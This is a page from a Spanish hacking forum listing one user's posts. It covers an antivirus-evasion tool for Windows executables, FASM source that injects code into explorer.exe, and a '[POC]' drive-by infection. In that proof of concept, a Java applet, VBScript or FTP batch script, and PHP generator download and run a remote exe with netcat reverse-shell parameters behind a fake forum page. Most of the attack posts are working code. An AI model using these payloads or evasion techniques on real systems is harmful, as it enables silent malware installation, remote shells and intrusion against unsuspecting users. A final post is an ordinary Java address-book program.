-Añadir Espacio Sección Ejecutable 100%
-Añadir Sección 100%




Versión 1.0 BETA 100%


Características:

-Visor PE
-Buscar espacio libre
-Redireccionar Entry Point
-Detección de ejecutables VB
-Forzar Metamorfosis Offset (Meepa)
-Forzar Metamorfosis Offset (Xor)
-Redireccionar Calls C/C++ y ASM (Recodeada, con algoritmo pseudoaleatorio, nunca genera exes iguales)
-Ofuscación mediante la inserción de saltos
-Cambiar el Case de los Imports


Versión BETA. El programa seguramente tenga numerosos fallos y el comportamiento puede no ser el esperado.

El programa sólo funciona bien con ejecutables compilados en ASM y C/C++. No es recomendable usarlo con ejecutables en VB o en Delphi debido a que creará un ejecutable corrupto con un 99% de certeza.

Es necesario que el ejecutable tenga espacio libre al final de la sección ejecutable, en caso contraro el programa no funcionará. En el caso de crear éste espacio a mano, dejar la zona a 0's

En algunos pc's el programa se cuelga al pulsar analizar. Debido a la imposibilidad de los autores de reproducir éste error, si alguien encuentra la causa sería de gran ayuda.

Lo más interesante de ésta versión BETA es el código fuente. Rogamos que cualquier recomendación, bug, cuelgue, ejecutable corrupto o cualquier tipo de problema sea comunicado para poder solucionarlo.

Probado con ejecutables compilados en C/C++ y FASM de los cuales en ningún caso provocó la corrupción del ejecutable.

El rating de eficacia es bastante alto, usando una combinación de RedirectCalls, Jmp Ofuscation y Change IAT Case quita una media de 10-15 antivurs de 20.

Lista de Bugs encontrados hasta el momento:
- En algunos PC's el programa se cierra al pulsar analizar.
- No funciona con ejecutables de 64 bits.
- El programa debería comprobar si existe la carpeta Tools.
- La función de ofuscación por jmp's puede romper el ejecutable, hay que depurarla más.

Descargar Herramienta
Descargar Código Fuente



Iré actualizando el post según vayamos progresando.

Saludos  ;).
18  Programación / ASM / SRCs de Hacker_Zero en: 18 Abril 2009, 11:51 am
Bueno, lo primero no sé si esto debe ir aquí o en análisis y diseño de malware, sino no va a aquí que alguien lo mueva  :).

Código
  1. ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
  2. ;\\\///\\\///\\\///\\\///\\\Inyección de Código en Memoria //\\\///\\\///\\\///\\\
  3. ;\\\///\\\///\\\///\\\///\\\          By Hacker_Zero       //\\\///\\\///\\\///\\\
  4. ;\\\///\\\///\\\///\\\///\\\      http://www.eduhack.es    //\\\///\\\///\\\///\\\
  5. ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
  6.  
  7. Format PE GUI 4.0
  8. entry start
  9. include 'win32a.inc'
  10.  
  11. Proceso                 db 'explorer.exe',0
  12. nUser32                 db 'USER32.DLL',0
  13. nMessageBox             db 'MessageBoxA',0
  14. hProceso                dd ?
  15. DirFuncion              dd ?
  16. TamañoDatos             dd ?
  17. pInfo                   PROCESS_INFORMATION
  18. sInfo                   STARTUPINFO
  19.  
  20. start:
  21. ;Cargamos la USER32.DLL
  22. invoke LoadLibrary,nUser32
  23.  
  24. ;Obtenemos la dirección de MessageBoxA
  25. invoke GetProcAddress,eax,nMessageBox
  26. mov [mMessageBoxA],eax
  27.  
  28. ;Obtenemos la dirección de ExitProcess
  29. push    [ExitProcess]
  30. pop     [mExitProcess]
  31.  
  32. ;Creamos el Proceso
  33. invoke CreateProcessA,0,Proceso,0,0,0,CREATE_SUSPENDED,0,0,sInfo,pInfo
  34.  
  35. ;Guardamos el Handle
  36. push [pInfo.hProcess]
  37. pop [hProceso]
  38.  
  39. ;Obtenemos el tamaño e la función a inyectar
  40. mov ebx,FIN
  41. sub ebx,FuncionInyectada
  42. mov [TamañoDatos],ebx
  43.  
  44. ;Reservamos espacio en memoria para la función a inyectar
  45. invoke VirtualAllocEx,[hProceso],0,[TamañoDatos],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  46. mov [DirFuncion],eax
  47.  
  48. ;Escribimos en memoria los datos
  49. invoke WriteProcessMemory,[hProceso],[DirFuncion],FuncionInyectada,[TamañoDatos],0
  50.  
  51. ;Creamos el hilo en el proceso
  52. invoke CreateRemoteThread,[hProceso],0,0,[DirFuncion],0,0,0
  53.  
  54. ;Salimos
  55. invoke ExitProcess,0
  56.  
  57. ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
  58. ;\\\///\\\///\\\///\\\///\  Función Que se Inyecta  ///\\\///\\\///\\\///
  59. ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
  60. proc FuncionInyectada
  61. ;Obtenemos la dirección de memoria donde nos estamos ejecutando
  62. pushad
  63. call delta
  64. delta:
  65. pop ebp
  66. sub ebp,delta
  67. push ebp ebp
  68. pop ebx ecx
  69.  
  70. ;Obtenemos la dirección donde se cargó el Mensaje y el Título
  71. add ebx,Mensaje
  72. add ecx,Titulo
  73.  
  74. ;Llamamos a MessageboxA
  75. push 0
  76. push ebx
  77. push ecx
  78. push 0
  79. call [ebp+mMessageBoxA]
  80.  
  81. ;Llamamos a ExitProcess
  82. push 0
  83. call [ebp+mExitProcess]
  84.  
  85. Titulo           db 'Code Inyectado!',0
  86. Mensaje          db 'xD',0
  87.  
  88. ;Las direcciones en memoria de las apis
  89. mMessageBoxA     dd ?
  90. mExitProcess     dd ?
  91. endp
  92. FIN:
  93. ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
  94. ;\\\///\\\///\\\///\\\/// Fin Función Que se Inyecta //\\\///\\\///\\\///
  95. ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
  96.  
  97. data import
  98.    library KERNEL32,'KERNEL32.DLL'
  99.    import  KERNEL32,\
  100.            CreateProcessA,'CreateProcessA',\
  101.            CreateRemoteThread,'CreateRemoteThread',\
  102.            WriteProcessMemory,'WriteProcessMemory',\
  103.            VirtualAllocEx,'VirtualAllocEx',\
  104.            ExitProcess,'ExitProcess',\
  105.            LoadLibrary,'LoadLibraryA',\
  106.            GetProcAddress,'GetProcAddress'
  107. end data    

Está comentado e intenté escribirlo de forma clara para que sea fácil de comprender.

Saludos
19  Seguridad Informática / Hacking / [POC] Infección Mediante Java Applet (y VBScript) en: 1 Enero 2009, 22:50 pm
[POC] Infección Mediante Java Applet (y VBScript)

Fuente milw0rm.com
Autor: AnalyseR

POC y post realizado por Wofo y Hacker_Zero para www.eduhack.es

Bueno, muchos recordarán un post dónde se explicaba como hacer un fake de una web que nos pedía un componente flash y había un link hacia un *.exe.

Bueno pues mediante la ejecución de un Applet en Java y un script en VBScript o Batch, es posible descargar y ejecutar un programa remoto en un pc tan sólo con 1 click, para decir que se confía en el applet que se intenta ejecutar (el cual sale en todos los applets como pueden ser juegos y demás).

Empezamos con el Applet
Lo primero será compilar el siguiente código en Java:

Código
  1. import java.applet.*;
  2. import java.awt.*;  
  3. import java.io.*;
  4. public class skata extends Applet
  5. {
  6.     public void init()
  7.     {
  8.          Process f;
  9.          String first = getParameter("first");
  10.  
  11.           try
  12.           {
  13.                f = Runtime.getRuntime().exec(first);
  14.           }
  15.  
  16.           catch(IOException e)
  17.           {
  18.                e.printStackTrace();
  19.           }
  20.      }
  21. }

Éste código ejecuta un en el pc remoto lo que se le pase como parámetro. El Applet puede ser utilizado de la suguiente manera desde un documento html:

Código
  1. <applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>
  2.  
  3. <param name='first' value='cmd.exe /c msg * Hola Mundo!'>
  4.  

Como véis nos dá la posibilidad de ejecutar comandos de consola en un pc remoto con S.O Windows. Pero iremos un paso más allá, y descargaremos un archivo al pc, como podemos hacer ésto? Pues podemos crear códigos usando Scripting, ya sea en Batch usando ftp o en VBScript.

Para crear el archivo VBS utilizamos Streams de salida en Batch:

Código:
cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs

El siguiente código en VBScript descarga un Archivo binario  y lo ejecuta:

Código
  1. Const adTypeBinary = 1  
  2. Const adSaveCreateOverWrite = 2  
  3. Dim BinaryStream  
  4. Set BinaryStream = CreateObject("ADODB.Stream")  
  5. BinaryStream.Type = adTypeBinary  
  6. BinaryStream.Open  
  7. BinaryStream.Write BinaryGetURL(Wscript.Arguments(0))  
  8. BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite  
  9. Function BinaryGetURL(URL)  
  10. Dim Http  
  11. Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")  
  12. Http.Open "GET", URL, False  
  13. Http.Send  
  14. BinaryGetURL = Http.ResponseBody  
  15. End Function  
  16. Set shell = CreateObject("WScript.Shell")  
  17. shell.Run "cmd.exe /c C:\archivo.exe"
  18.  

Su funcionamiento es muy sencillo:

Código:
Codigo.vbs http://www.pagina.com/archivo.exe C:\archivo.exe

Tambien se podría hacer sin necesidad de ningún archivo vbs ejecutando el ftp de la línea de comandos, aunque seguimos con el caso de vbs que es el ejemplo que puso el autor y es mas "general".

Aquí un ejemplo de como descargar el archivo usando ftp desde la shell:

Código:
@echo off
echo usuario@nombreftp.com>C:\datos.txt
echo contraseña>>C:\datos.txt
echo cd /path>>C:\datos.txt
echo pwd>>C:\datos.txt
echo binary>>C:\datos.txt
echo get archivo.exe>>C:\datos.txt
echo bye>>C:\datos.txt
echo quit>>C:\datos.txt
ftp -s:C:\datos.txt nombreftp.com
start archivo.exe

El archivo descargado (en nuestro ejemplo [al final del post]) lo único que nos da es una advertencia y la ip y el puerto que le pasamos por php.
Lo de la ip y el puerto funciona gracias a un sencillo código PHP:

Código
  1. <?php
  2. if(isset($HTTP_GET_VARS["ip"])) {
  3. $ip = $HTTP_GET_VARS["ip"];
  4. }
  5. else $ip = 127.0.0.1;
  6.  
  7. if(isset($HTTP_GET_VARS["puerto"])) {
  8. $puerto = $HTTP_GET_VARS["puerto"];
  9. }
  10. else $port = 7173;
  11.  
  12. echo '
  13. <applet width="1" height="1" code="nombreclaseapplet.class" archive="nombreapplet.jar">
  14. <param name="first" value="cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> C:\windows\apsou.vbs & echo Http.Open \"GET\", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> C:\windows\apsou.vbs & echo shell.Run \"C:\windows\update.exe -d -e cmd.exe '.$ip.' '.$puerto.'\" >> C:\windows\apsou.vbs">
  15. </applet>';
  16. ?>
  17.  

Con este código lo que hacemos es editar el código VBs para que ejecute el archivo descargado, pasando como parámetros la ip y el puerto introducidos en la URL.

Para que tengan una mejor idea de lo que digo les dejo el código en C++ del programa que se descarga en el ejemplo:

Código
  1. #include <iostream>
  2.  
  3.  
  4.  
  5. using namespace std;
  6.  
  7.  
  8.  
  9. int main(int argc, char* argv[]) {
  10.  
  11. cout << "Este ejecutable puede ser reemplazado un troyano, backdoor, virus, netcat, etc." << endl;
  12.  
  13.    cout << "Por lo tanto nunca hay que fiarse de applets sin firmas certificadas" << endl;
  14.  
  15.    cout << "La ip introducida mediante PHP es " << argv[1] << endl;
  16.  
  17.    cout << "El puerto introducido mediante PHP es " << argv[2] << endl;
  18.  
  19. }
  20.  

Las variables de la url en php se pasan al VBS. Al ejecutar el VBS éste ejecuta nuestro archivo.exe con los parámetros.

Pudiendo hacer esto, las posibilidades que ofrece este método son infinitas... Se puede mandar cualquier programa y ejecutarlo sin que el usuario sospeche nada, imagina que mandamos un netcat con los parámetros para que nos pase una shell, o que mandamos un troyano o lo que sea. Nuevamente digo, las posibilidades son infinitas.

Les dejamos una prueba de concepto en el siguiente link:

http://wofo.x10hosting.com/hacking/JAVA/POCapplet/index.php?board=127.0.0.1&topic=7765

Otra poc usando ftp desde la línea de comandos, sin necesidad de vbs:

http://wofo.x10hosting.com/hacking/JAVA/POCapplet/indexftp.php?board=127.0.0.1&topic=7765

Como verán, es un fake muy convincente de un post del foro (fake hecho por HACKER_ZERO).
Lo que hace es, cuando ejecutan el applet, crea el codigo en .vbs y lo ejecuta, el cual se encarga de descargar el archivo.exe y ejecutarlo con los parámetros. Ambos archivos se descargan en C:\Windows como apsou.vbs y update.exe.

Testeado usando netcat en:

- Firefox  3.05, Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- IE Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- Firefox  3.05, Windows XP SP2 con Firewall de Windows, Avast y su Firewall activo. (Gracias Shell Killer  ;))



Cualquier duda o pregunta la recibimos con los brazos abiertos.

Salu2
20  Programación / Java / [Source] Agenda Gráfica en: 15 Diciembre 2008, 21:29 pm
Bueno, pues inspirándome en el source de Burnhack, aquí va mi primer programa en java, la agenda tene interfaz gráfica y guarda los datos en un .txt por lo que no los pierde al cerrar, no tiene mucho mas  :-\. Haber si alguien me puede decir como mejorarla o que partes podrían estar mejor ya que es mi primero programa en Java y tambien en POO que no es lo mío.

Una imagen:


No pongo el source aquí ya que el code está muy comentado y se cortarían las líneas, mejor lo véis con un compilador a pantalla completa, jeje.

Descargar Binarios

Descargar Source

Saludos
Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines